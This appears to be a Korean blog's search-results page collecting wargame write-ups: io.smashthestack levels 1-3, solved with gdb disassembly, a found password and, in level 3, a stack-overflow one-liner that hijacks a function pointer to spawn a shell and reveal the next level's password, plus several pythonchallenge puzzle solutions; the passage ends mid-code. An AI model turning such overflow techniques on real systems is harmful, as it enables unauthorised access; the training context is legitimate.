Search results for 'War game'

  1. 2010.01.18 -- level3
  2. 2010.01.18 -- level2
  3. 2010.01.18 -- level1
  4. 2009.12.04 -- pythonchallenge level16
  5. 2009.12.03 -- pythonchallenge level 15
  6. 2009.11.17 -- pythonchallenge level14
  7. 2009.10.22 -- pythonchallenge level13
  8. 2009.10.22 -- pythonchallenge level12
  9. 2009.10.22 -- pythonchallenge level11
  10. 2009.10.20 -- pythonchallenge level10

level3

2010. 1. 18. 15:45
level3@io:/levels$ ./level3
Segmentation fault


level3 를 실행했더니 위와같이 세그멘테이션 폴트가 발생합니다.
인자를 넣어보았습니다.



level3@io:/levels$ ./level3 AAAAAAAA
Address of hmm: 0x804847f



hmm 의 주소가 0x804847f 라고 나오는 걸로 봐서 이주소가 힌트가 될거라 생각되네요.
함수에 대한 심볼을 살펴보았더니..

level3@io:/levels$ gdb level3
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) info func
All defined functions:

Non-debugging symbols:
0x08048318  _init
0x08048340  execl@plt
0x08048350  strlen@plt
0x08048360  __libc_start_main@plt
0x08048370  printf@plt
0x08048380  memset@plt
0x08048390  __gmon_start__@plt
0x080483c4  call_gmon_start
0x080483f0  __do_global_dtors_aux
0x08048430  frame_dummy
0x08048464  good
0x0804847f  hmm
0x080484af  main
0x080485b0  __libc_csu_fini
0x08048600  __libc_csu_init
0x08048653  __i686.get_pc_thunk.bx
0x08048660  __do_global_ctors_aux
0x08048690  _fini
(gdb)



함수 hmm 이 있습니다.

(gdb) disas hmm
Dump of assembler code for function hmm:
0x0804847f <hmm+0>:     push   %ebp
0x08048480 <hmm+1>:     mov    %esp,%ebp
0x08048482 <hmm+3>:     sub    $0x18,%esp
0x08048485 <hmm+6>:     movl   $0x80486c8,(%esp)
0x0804848c <hmm+13>:    call   0x8048370 <printf@plt>
0x08048491 <hmm+18>:    movl   $0x0,0x8(%esp)
0x08048499 <hmm+26>:    movl   $0x80486ce,0x4(%esp)
0x080484a1 <hmm+34>:    movl   $0x80486d1,(%esp)
0x080484a8 <hmm+41>:    call   0x8048340 <execl@plt>
0x080484ad <hmm+46>:    leave
0x080484ae <hmm+47>:    ret
End of assembler dump.
(gdb)

printf가 찍는 문자열을 확인해보았습니다.

gdb) x/s 0x080486c8
0x80486c8 <_IO_stdin_used+24>:   "Win.\n"

Win 이라네요. 아무래도 0x0804847f의 함수 포인터를 어딘가에 덮어 씌우면 될거 같습니다.
해보는김에 good도 확인해봤습니다.

(gdb) disas good
Dump of assembler code for function good:
0x08048464 <good+0>:    push   %ebp
0x08048465 <good+1>:    mov    %esp,%ebp
0x08048467 <good+3>:    sub    $0x8,%esp
0x0804846a <good+6>:    mov    0x8(%ebp),%eax
0x0804846d <good+9>:    mov    %eax,0x4(%esp)
0x08048471 <good+13>:   movl   $0x80486b4,(%esp)
0x08048478 <good+20>:   call   0x8048370 <printf@plt>
0x0804847d <good+25>:   leave
0x0804847e <good+26>:   ret
End of assembler dump.
(gdb) x/s 0x080486b4
0x80486b4 <_IO_stdin_used+4>:    "Address of hmm: %p\n"

이녀석이 원래 호출되는 함수군요.
main 함수를 디스어셈블 해볼까요


0x080484af <main+0>:    push   %ebp
0x080484b0 <main+1>:    mov    %esp,%ebp
0x080484b2 <main+3>:    sub    $0x58,%esp
0x080484b5 <main+6>:    and    $0xfffffff0,%esp
0x080484b8 <main+9>:    mov    $0x0,%eax
0x080484bd <main+14>:   sub    %eax,%esp
0x080484bf <main+16>:   movl   $0x0,0xfffffff4(%ebp)              
0x080484c6 <main+23>:   mov    0xfffffff4(%ebp),%eax
0x080484c9 <main+26>:   lea    0x0(,%eax,4),%edx
0x080484d0 <main+33>:   mov    0x80497f0,%eax
0x080484d5 <main+38>:   cmpl   $0x0,(%eax,%edx,1)           
0x080484d9 <main+42>:   jne    0x80484dd <main+46>
0x080484db <main+44>:   jmp    0x8048524 <main+117>                    
0x080484dd <main+46>:   mov    0xfffffff4(%ebp),%eax
0x080484e0 <main+49>:   lea    0x0(,%eax,4),%edx
0x080484e7 <main+56>:   mov    0x80497f0,%eax
0x080484ec <main+61>:   mov    (%eax,%edx,1),%eax
0x080484ef <main+64>:   mov    %eax,(%esp)
0x080484f2 <main+67>:   call   0x8048350 <strlen@plt>
0x080484f7 <main+72>:   mov    %eax,0x8(%esp)
0x080484fb <main+76>:   movl   $0x0,0x4(%esp)
0x08048503 <main+84>:   mov    0xfffffff4(%ebp),%eax
0x08048506 <main+87>:   lea    0x0(,%eax,4),%edx
0x0804850d <main+94>:   mov    0x80497f0,%eax
0x08048512 <main+99>:   mov    (%eax,%edx,1),%eax
0x08048515 <main+102>:  mov    %eax,(%esp)
0x08048518 <main+105>:  call   0x8048380 <memset@plt>
0x0804851d <main+110>:  lea    0xfffffff4(%ebp),%eax
0x08048520 <main+113>:  incl   (%eax)
0x08048522 <main+115>:  jmp    0x80484c6 <main+23>
0x08048524 <main+117>:  movl   $0x8048464,0xffffffec(%ebp)
0x0804852b <main+124>:  mov    0xc(%ebp),%eax
0x0804852e <main+127>:  add    $0x4,%eax
0x08048531 <main+130>:  mov    (%eax),%eax
0x08048533 <main+132>:  mov    %eax,(%esp)
0x08048536 <main+135>:  call   0x8048350 <strlen@plt>
0x0804853b <main+140>:  cmp    $0x28,%eax
0x0804853e <main+143>:  ja     0x8048553 <main+164>
0x08048540 <main+145>:  mov    0xc(%ebp),%eax
0x08048543 <main+148>:  add    $0x4,%eax
0x08048546 <main+151>:  mov    (%eax),%eax
0x08048548 <main+153>:  mov    %eax,(%esp)
0x0804854b <main+156>:  call   0x8048350 <strlen@plt>
0x08048550 <main+161>:  mov    %eax,0xfffffff0(%ebp)
0x08048553 <main+164>:  movl   $0x0,0xfffffff4(%ebp)
0x0804855a <main+171>:  mov    0xfffffff4(%ebp),%eax
0x0804855d <main+174>:  cmp    0xfffffff0(%ebp),%eax
0x08048560 <main+177>:  jle    0x8048564 <main+181>
0x08048562 <main+179>:  jmp    0x8048592 <main+227>                         
0x08048564 <main+181>:  lea    0xffffffc8(%ebp),%eax
0x08048567 <main+184>:  mov    %eax,%ecx
0x08048569 <main+186>:  add    0xfffffff4(%ebp),%ecx
0x0804856c <main+189>:  mov    0xc(%ebp),%edx
0x0804856f <main+192>:  add    $0x4,%edx
0x08048572 <main+195>:  mov    0xfffffff4(%ebp),%eax
0x08048575 <main+198>:  add    (%edx),%eax
0x08048577 <main+200>:  movzbl (%eax),%eax
0x0804857a <main+203>:  mov    %al,(%ecx)
0x0804857c <main+205>:  cmpl   $0x23,0xfffffff4(%ebp)
0x08048580 <main+209>:  jg     0x804858b <main+220>
0x08048582 <main+211>:  lea    0xffffffc8(%ebp),%eax
0x08048585 <main+214>:  add    0xfffffff4(%ebp),%eax
0x08048588 <main+217>:  movb   $0x41,(%eax)
0x0804858b <main+220>:  lea    0xfffffff4(%ebp),%eax
0x0804858e <main+223>:  incl   (%eax)
0x08048590 <main+225>:  jmp    0x804855a <main+171>
0x08048592 <main+227>:  movl   $0x804847f,0xffffffc4(%ebp)
0x08048599 <main+234>:  mov    0xffffffc4(%ebp),%eax
0x0804859c <main+237>:  mov    %eax,(%esp)
0x0804859f <main+240>:  mov    0xffffffec(%ebp),%eax
0x080485a2 <main+243>:  call   *%eax
0x080485a4 <main+245>:  mov    $0x0,%eax
0x080485a9 <main+250>:  leave
0x080485aa <main+251>:  ret
0x080485ab <main+252>:  nop
0x080485ac <main+253>:  nop
0x080485ad <main+254>:  nop
0x080485ae <main+255>:  nop
0x080485af <main+256>:  nop



중간중간에 섞여있는 이런 표현들이 헷갈리네요

0x080484c9 <main+26>:   lea    0x0(,%eax,4),%edx
0x080484d5 <main+38>:   cmpl   $0x0,(%eax,%edx,1)
0x080484ec <main+61>:   mov    (%eax,%edx,1),%eax

call %eax 가 결국 함수 포인터를 호출하는 부분일테니.. 이곳에 브레이크 포인트를 걸어봤습니다.


(gdb) b *main+243
Breakpoint 1 at 0x80485a2
(gdb) r AAAAAAAAAAAA
Starting program: /levels/level3 AAAAAAAAAAAA

Breakpoint 1, 0x080485a2 in main ()
(gdb) info reg esp
esp            0xbfffdcf0       0xbfffdcf0




esp를 확인하고 스택을 들여다보니 다음과 같네요.

(gdb) x/50x 0xbfffdcf0
0xbfffdcf0:     0x0804847f      0x00000000      0x00000033      0x00ebd80e
0xbfffdd00:     0x00f87ff4      0x00f862e8      0xbfffdd18      0x0804847f
0xbfffdd10:  0x41414141  0x41414141  0x41414141  0x08048341
0xbfffdd20:     0x00000002      0xbfffddc4      0xbfffdd48      0x08048619
0xbfffdd30:     0x00e64c8c      0x08048464    0x0000000c      0x0000000d
0xbfffdd40:     0x00000000      0x00fc0cc0      0xbfffdd98      0x00e6eea8
0xbfffdd50:     0x00000002      0xbfffddc4      0xbfffddd0      0x00000000
0xbfffdd60:     0x00f87ff4      0x00000000      0x00fc0cc0      0xbfffdd98
0xbfffdd70:     0xbfffdd50      0x00e6ee6d      0x00000000      0x00000000
0xbfffdd80:     0x00000000      0x00fb6090      0x00e6eded      0x00fc0ff4
0xbfffdd90:     0x00000002      0x080483a0      0x00000000      0x080483c1
0xbfffdda0:     0x080484af      0x00000002      0xbfffddc4      0x08048600
0xbfffddb0:     0x080485b0      0x00fb6c40



덮어 씌워야 하는 곳은 0x08048464 (good)의 함수 포인터 입니다. 따라서 36byte만큼 채우고 hmm의
함수 포인터를 던져줍니다.


level3@io:/levels$ ./level3 `perl -e 'print "A"x36,"\x7f\x84\x04\x08"'`
Win.
sh-3.1$ cd /home/level4
sh-3.1$ cat .pass
dun8malu   >  iazki1ud--> 1ZwMe9q1nDC9

음.. 다시 풀고 보니 왠지 뽀록으로 푼거 같네요. -0-



 

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

level2

2010. 1. 18. 15:17

level2@io:/levels$ ./level2
Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21...
The 4th through the 7th numbers would give you 581321


level2 를 실행했을때 위와 같은 메세지가 나옵니다. gdb로 붙으려고 해도 심볼테이블이 없다네요.  
구글에 1,2,3,5,8,13,21을 검색했더니 파보나치 수열이랍니다. 파보나치 수열에서 39번째에서
42번째를 붙여서 입력해보았습니다.


 
102334155 N : 39
 165580141 N : 40
 267914296 N : 41
 433494437 N : 42




level2@io:/levels$ ./level2 102334155165580141267914296433494437
Win.
sh-3.1$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2)

sh-3.1$ cd /home/level3
sh-3.1$ cat .pass
duf2dido      > okviql9o --> f9esfdy8T6Hd


'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level1  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

level1

2010. 1. 18. 15:11

level1@io:~$ cd /levels
level1@io:/levels$ ls
level1     level11.c     level13    level15.c     level16.pass  level18.c  level20  level3.c  level5.c  level7.c  level9.c
level10    level12       level14    level15.pass  level17       level19    level21  level4    level6    level8
level10.c  level12.c     level14.c  level16       level17.c     level19.c  level22  level4.c  level6.c  level8.c
level11    level12.pass  level15    level16.c     level18       level2     level3   level5    level7    level9


위와같이 levels 디렉토리에 바이너리들이 레벨 별로 있습니다.
level1을 실행해보았습니다.

level1@io:/levels$ ./level1
Usage: ./level1 <password>

evel1@io:/levels$ gdb ./level1
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:    lea    0x4(%esp),%ecx
0x080483f8 <main+4>:    and    $0xfffffff0,%esp
0x080483fb <main+7>:    pushl  0xfffffffc(%ecx)
0x080483fe <main+10>:   push   %ebp
0x080483ff <main+11>:   mov    %esp,%ebp
0x08048401 <main+13>:   push   %edi
0x08048402 <main+14>:   push   %ecx
0x08048403 <main+15>:   sub    $0x30,%esp
0x08048406 <main+18>:   mov    %ecx,0xffffffe0(%ebp)
0x08048409 <main+21>:   movl   $0x80485c8,0xfffffff4(%ebp)     
 
0x08048410 <main+28>:   mov    0xffffffe0(%ebp),%eax       
0x08048413 <main+31>:   cmpl   $0x2,(%eax)                      이부분은 if(argc<2) { printf("Usage: %s <password>\n");}
0x08048416 <main+34>:   je     0x8048439 <main+69>             argc가 2면 <main+69>로 점프
0x08048418 <main+36>:   mov    0xffffffe0(%ebp),%edx
0x0804841b <main+39>:   mov    0x4(%edx),%eax
0x0804841e <main+42>:   mov    (%eax),%eax
0x08048420 <main+44>:   mov    %eax,0x4(%esp)
0x08048424 <main+48>:   movl   $0x80485d4,(%esp)
0x0804842b <main+55>:   call   0x804832c <
printf@plt>
0x08048430 <main+60>:   movl   $0x1,0xffffffe4(%ebp)
0x08048437 <main+67>:   jmp    0x80484b2 <main+190>
0x08048439 <main+69>:   mov    0xfffffff4(%ebp),%eax
0x0804843c <main+72>:   mov    $0xffffffff,%ecx
0x08048441 <main+77>:   mov    %eax,0xffffffdc(%ebp)
0x08048444 <main+80>:   mov    $0x0,%al
0x08048446 <main+82>:   cld   
0x08048447 <main+83>:   mov    0xffffffdc(%ebp),%edi
0x0804844a <main+86>:   repnz scas %es:(%edi),%al
0x0804844c <main+88>:   mov    %ecx,%eax
0x0804844e <main+90>:   not    %eax
0x08048450 <main+92>:   lea    0xffffffff(%eax), edx              
0x08048453 <main+95>:   mov    0xffffffe0(%ebp),%ecx
0x08048456 <main+98>:   mov    0x4(%ecx),%eax
0x08048459 <main+101>:  add    $0x4,%eax
0x0804845c <main+104>:  mov    (%eax),%ecx
0x0804845e <main+106>:  mov    %edx,0x8(%esp)               .
0x08048462 <main+110>:  mov    0xfffffff4(%ebp),%eax
0x08048465 <main+113>:  mov    %eax,0x4(%esp)
0x08048469 <main+117>:  mov    %ecx,(%esp)

0x0804846c <main+120>:  call   0x804830c <strncmp@plt>      strncmp 함수의 인자 edx, eax, ecx
0x08048471 <main+125>:  test   %eax,%eax
0x08048473 <main+127>:  jne    0x804849f <main+171>
0x08048475 <main+129>:  movl   $0x80485ea,(%esp)
0x0804847c <main+136>:  call   0x80482fc <puts@plt>
0x08048481 <main+141>:  movl   $0x0,0x8(%esp)
0x08048489 <main+149>:  movl   $0x80485ef,0x4(%esp)
0x08048491 <main+157>:  movl   $0x80485f2,(%esp)
0x08048498 <main+164>:  call   0x80482ec <execl@plt>
0x0804849d <main+169>:  jmp    0x80484ab <main+183>
0x0804849f <main+171>:  movl   $0x80485fa,(%esp)
0x080484a6 <main+178>:  call   0x80482fc <puts@plt>
0x080484ab <main+183>:  movl   $0x0,0xffffffe4(%ebp)
0x080484b2 <main+190>:  mov    0xffffffe4(%ebp),%eax
0x080484b5 <main+193>:  add    $0x30,%esp
0x080484b8 <main+196>:  pop    %ecx
0x080484b9 <main+197>:  pop    %edi
0x080484ba <main+198>:  pop    %ebp
0x080484bb <main+199>:  lea    0xfffffffc(%ecx),%esp
0x080484be <main+202>:  ret   
0x080484bf <main+203>:  nop   
End of assembler dump.



strncmp 함수가 호출되기 전에 브레이크 포인트를 설정한 후 프로그램에 인자를 줘서 실행합니다

(gdb) break *main+117
Breakpoint 1 at 0x8048469
(gdb) r AAAAA
Starting program: /levels/level1 AAAAA

Breakpoint 1, 0x08048469 in main ()


(gdb) info reg
eax            0x80485c8        134514120
ecx            0xbfffde8a       -1073750390
edx            0xb      11

ebx            0xec9ff4 15507444
esp            0xbfffdcd0       0xbfffdcd0
ebp            0xbfffdd08       0xbfffdd08
esi            0x0      0
edi            0x80485d4        134514132
eip            0x8048469        0x8048469 <main+117>
eflags         0x200282 [ SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51



위의 내용을 따라 함수 호출을 유추해서 주소의 문자열을 찍어보았습니다.

strncmp(0xbfffde8a, 0x80485c8, 11);

(gdb) x/s 0xbfffde8a
0xbfffde8a:      "AAAAA"
(gdb) x/s 0x80485c8
0x80485c8 <_IO_stdin_used+4>:    "omgpassword"


패스워드를 입력 후 홈 디렉토리로 가서 ,pass 파일의 내용을 확인 :$

level1@io:/levels$ ./level1 omgpassword
Win.
sh-3.1$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1)

sh-3.1$ cd /home/level2
sh-3.1$ cat .pass
ef4artie    >  ep4kbyqe----> WE5aVWRwYPhX

다시 풀어볼까 해서 끄적대는데.. 패스워드가 다 바뀌어 있네요.

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

pythonchallenge level16

2009. 12. 4. 08:09

http://www.pythonchallenge.com/pc/return/mozart.html

let me get this straight 라는 글귀와 그림 파일 하나가 덩그라니 있다.
이번엔 소스보기를 해도 별다른 힌트가 보이지 않는다.

어쩌라는 걸까 -_-

이젠 이미지를 보면 먼저 getpixel 로 비비게 된다.. 그런데 특이하게도 getpixel로 리턴되는 값이
RGB 형태가 아닌 그냥 숫자 하나 뿐이다. 왜 그런 것일까.

찾아보니 GIF 파일 포맷에서 사용하는 Indexed Color 때문이라는 것을 알 수 있었다.

장미님 블로그 Indexed Color에 대하여
http://blog.daum.net/ms1719/14382711
Indexed Color WIKIPEDIA http://en.wikipedia.org/wiki/Indexed_color

mozart.gif 파일을 크게 확대해보면 한 라인당 하나의 보라색 뭉텡이 들이 있는 것이 보인다.
getpixel 로 한줄 씩 읽어보니 각 라인마다 195라는 5개의 같은 값이 나타났다.

이 값들을 기준으로 정렬해보니 romance 라는 글자가 희미하게 보인다.
(나중에 안 사실이지만 좀 틀린 부분이 있었다-_-;;)

import Image

im =Image.open("mozart.gif")
im_new = Image.new('RGB',(640,480))

x = im.size[0]
y = im.size[1]

for j in range(y):
        for i in range(x):
                pix = im.getpixel((i,j))
                if pix == 195:
                        num = i
                        break
                
        for a in range(x):
                if num == x:
                        num = 0
                pix = im.getpixel((num,j))
                im_new.putpixel((a,j),pix)
                num += 1
        
im_new.save('result.gif')


http://www.pythonchallenge.com/pc/return/romance.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level 17  (1) 2010.10.27
pythonchallenge level 15  (0) 2009.12.03
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16

badcob War game/pythonchallenge

pythonchallenge level 15

2009. 12. 3. 17:33

http://www.pythonchallenge.com/pc/return/uzi.html

January 1xx6 이라고 써진 달력 그림이 있다.
그리고 월요일인 26일에 동그라미가 쳐져있다. 소스 보기를 하면 다음의 2가지 힌트가 보인다.

<!-- he ain't the youngest, he is the second -->
<!-- todo: buy flowers for tomorrow -->

calendar 모듈로 찾아보니 weekday 라는 메소드를 이용하면 될 듯 하다.


calendar.weekday(year, month, day)
    Returns the day of the week (0 is Monday) for year (1970–...), month (1–12), day (1–31).

그리고 달력 그림 아래쪽에 보이는 2월의 날짜가 29일 까지 있는 걸로 보인다. 윤년이라는
소리다. 따라서 1월 26일이 월요일인 1xx6년 중에서 윤년인 것만 필요하다.
아래의 코드를 실행하면 1176, 1356, 1576, 1756,1976 이 나온다.

힌트에서 보면 가장 어린게 아니고 2번째라고 했으니 1756년,
내일을 위해 꽃을 사야 한다고 했으니 -_-; 27일.

1756년 1월 27일로 검색해보면 모짜르트 탄신일 이라고 나온다 -_-;;
(처음엔 1월 26일로 검색했는데 어떤 사이트에서는 26일이 탄신일이라고 나온 곳도 있었다;)


import calendar

def get_the_day(mon,day,year):
    calendar.setfirstweekday(6)
    ret = calendar.weekday(year, mon, day)
    
    if ret == 0 and year % 4 == 0:
        calendar.prmonth(year,mon)

mon = 1
day = 26

for i in range(100):
    year = int('1%02d6' % i)
    get_the_day(mon,day,year)
 


http://www.pythonchallenge.com/pc/return/mozart.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level 17  (1) 2010.10.27
pythonchallenge level16  (0) 2009.12.04
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16

badcob War game/pythonchallenge

pythonchallenge level14

2009. 11. 17. 19:35
http://www.pythonchallenge.com/pc/return/italy.html

이 문제에서 참 많이 헤멨다.  포럼의 힌트들을 몇번씩 읽어봐도 감이 전혀 오질 않았다.

여기저기서 헤메던 중 쭌사마가 준 힌트가 결정적 이었다.
풀어야지 풀어야지 하다가 안보이는 눈으로 더듬더듬 풀어냈다.
얼마나 채워야  그림이 완성될지 모르겠어서 rounds 값을 조금씩 늘려 외곽부터 채워서 완성.

import Image

def get_croissant(something, count, rounds, nw):
    
    wire_pixel = 0
    while wire_pixel < something:
        for i in range(count, 100-count):
            tmp = im.getpixel((wire_pixel,0))
            nw.putpixel((i,count),tmp)
            wire_pixel += 1
        
        for i in range(count+1, 100-count):
            tmp = im.getpixel((wire_pixel,0))
            nw.putpixel((100-count-1,i),tmp)
            wire_pixel += 1

        for i in range(100-count-2,count-1,-1):
            tmp = im.getpixel((wire_pixel,0))
            im_new.putpixel((i,100-count-1),tmp)
            wire_pixel += 1
    
        for i in range(100-count-2,count,-1):
            tmp = im.getpixel((wire_pixel,0))
            nw.putpixel((count,i),tmp)
            wire_pixel += 1

        count += 1
        if count >= rounds:
            break
    nw.show()
        
im = Image.open('wire.png')
max = im.size[0]

im_new = Image.new('RGB',(100,100))

get_croissant(max, 0, 40, im_new)


http://www.pythonchallenge.com/pc/return/cat.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level 17  (1) 2010.10.27
pythonchallenge level16  (0) 2009.12.04
pythonchallenge level 15  (0) 2009.12.03
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16

badcob War game/pythonchallenge

pythonchallenge level13

2009. 10. 22. 20:30


http://www.pythonchallenge.com/pc/return/disproportional.html

call him.,  
전화를 걸라는 것인가?
소스를 보면 그림의 중간 부분에
http://www.pythonchallenge.com/pc/phonebook.php 로
링크가 걸려 있는 걸 알 수 있다. 링크를 클릭해보면 XML error 메세지가 나온다.

해본게 도둑질이라고 phonebook.php 페이지에서 파라미터를 조작해서 넣어보았지만 같은 메세지만
나오더라.
이럴 땐 역시 포럼. 포럼에서 미국에서 phonebook에 대한 설명을 읽다보니 먼가 감이 왔다.

먼저 Python XML 관련 모듈들을 디벼보았다. Python에서 XML 프로그래밍 이라는 글이 눈에 띈다.
(http://coding-free.com/jython/tutor/python-xml.pdf)

아 이런 XML을 핸들링 할때는 이런 모듈이 쓰이는구나..
그러나 예제를 보면서 코드를 만지다보니 이게 아니다 싶었다. 단순히 XML 파일을 파싱하는 것이 아니라
XML 형식의 데이터를 주고 받아야 하기 떄문이었다,

XML에 대해서 먼저 알 필요가 있을거 같아서 xml 관련 정보를 찾다 다음 2개의 링크를 볼 수 있었다.

KLDP Wiki           XML-RPC HOWTO
SIRINI님의 블로그 XML-RPC에 관한 시덥잖은 고찰

올커니. XML-RPC!! 파이썬에는 XML-RPC 클라이언트에서 사용하는 xmlrpclib 라는 모듈이 있다.
xmlrpclib — XML-RPC client access

이 녀석을 이용해서 문제를 해결해보자. 먼저 문제 페이지에는 phone that evil 이라고 적혀있다. 
level12에서 gfx 파일을 받다가 우연찮게 본 파일에 Evil 이 누구인지 적혀 있었다.
(http://www.pythonchallenge.com/pc/return/evil4.jpg)

누구에게 걸어야 될지를 알았다. 이제 이 값을 전화번호부 페이지로 보내보자.
(서버에 등록된 메소드는 ServerProxy 객체의 ListMethods 를 통해 알 수 있다.)

import xmlrpclib

name = 'Bert'
proxy = xmlrpclib.ServerProxy('http://www.pythonchallenge.com/pc/phonebook.php')
print 'method %s' % (proxy.system.listMethods())
print 'phone number %s' % str(proxy.phone(name))


위의 스크립트를 실행하면 555-ITALY 가 찍힌다. 이게 답인가 싶어 넣어봤지만 없는 페이지라고 나오던 중
italy를 쳐봤더니 다음 레벨을 볼 수 있었다. (찾느라 한참 삽질을 -_-;;)

http://www.pythonchallenge.com/pc/return/italy.html


'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level 17  (1) 2010.10.27
pythonchallenge level16  (0) 2009.12.04
pythonchallenge level 15  (0) 2009.12.03
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16

badcob War game/pythonchallenge

pythonchallenge level12

2009. 10. 22. 19:03
http://www.pythonchallenge.com/pc/return/evil.html

역시나 그렇듯이  그림파일 하나 달랑 있는 페이지가 반긴다. 그림은 5 뭉텡이로 카드들을 나누고
있는 모습이다. 그림을 받아보니 파일명이 evil1.jpg 이다. 이런적이 없는데 .. 숫자를 하나 늘려
evil2.jpg로 입력해 보았다. not jpg- _.gfx 라는 페이지가 뜨길래 evil2.gfx를 입력했더니
파일이 받아진다.

gfx가 무엇인가 하고 구글링을 해봤더니 gfx 모듈이 나온다. 어찌저찌해서 설치하고 사용해봤지만
정상적으로 파일이 열리지 않았다. 이건 아닌듯 싶어 포럼에 찾아보았더니 헥사값 어쩌고 하길래
헥사값을 확인해보았다. 처음에 보이는 부분이 아무래도 수상하다. gif, jpg, png 등의 매직
바이트가 뒤 섞인거 같다. 오호라! 5바이트씩 띄어보니깐 매직바이트가 이어진다. 첫번째 그림에
나온대로 5뭉탱이가 gfx파일 하나안에 있는 것이다.

파일을 열어서 1바이트씩 뽑아내서 5개의 그림을 완성해 합쳐보니
dis pro por tional ity

사용한 코드가 정말 세살짜리 수준이라 올리지 말까도 생각해봤찌만 어쩌겠냐 이게 내 수준인걸.
조만간 깔끔하고 이쁘게 손대지 않을까 싶다.

import os

n = os.path.getsize('evil2.gfx')
f = open('evil2.gfx','rb')
tmp1 = 'tmp1'
tmp2 = 'tmp2'
tmp3 = 'tmp3'
tmp4 = 'tmp4'
tmp5 = 'tmp5'

FILE1 = open(tmp1,'wb')
FILE2 = open(tmp2,'wb')
FILE3 = open(tmp3,'wb')
FILE4 = open(tmp4,'wb')
FILE5 = open(tmp5,'wb')

i = 0
while i < n/5:
    a = f.read(1)
    FILE1.write(a)
    a = f.read(1)
    FILE2.write(a)
    a = f.read(1)
    FILE3.write(a)
    a = f.read(1)    
    FILE4.write(a)
    a = f.read(1)
    FILE5.write(a)
    i += 1

f.close()
FILE1.close()
FILE2.close()
FILE3.close()
FILE4.close()
FILE5.close()



http://www.pythonchallenge.com/pc/return/disproportional.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level 17  (1) 2010.10.27
pythonchallenge level16  (0) 2009.12.04
pythonchallenge level 15  (0) 2009.12.03
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16

badcob War game/pythonchallenge

pythonchallenge level11

2009. 10. 22. 19:02


http://www.pythonchallenge.com/pc/return/5808.html

odd even.  cave.jpg 파일을 getpixel로 읽어보니 번갈아서 나오는 값에 규칙이 보여서
홀수번 좌표대로 짝수번 좌표대로 이미지를 만들어보았다.
이제 픽셀 가지고 노는 문제 좀 안나왔으면 싶다

import Image

im = Image.open("cave.jpg")
x = im.size[0]
y = im.size[1]
im2 = Image.new('RGB',(640,480))
im3 = Image.new('RGB',(640,480))
result = []
d = [(1,2),(3,4)]
for a in range(0,x):
    for b in range(0,y):
        result.append(im.getpixel((a,b)))
length = len(result)

k = 0

for i in range(0,x):
    for j in range(0,y):
        if k < length:
            im2.putpixel((i,j),result[k])
            k = k+2

l = 1
for i in range(0,x):
    for j in range(0,y):
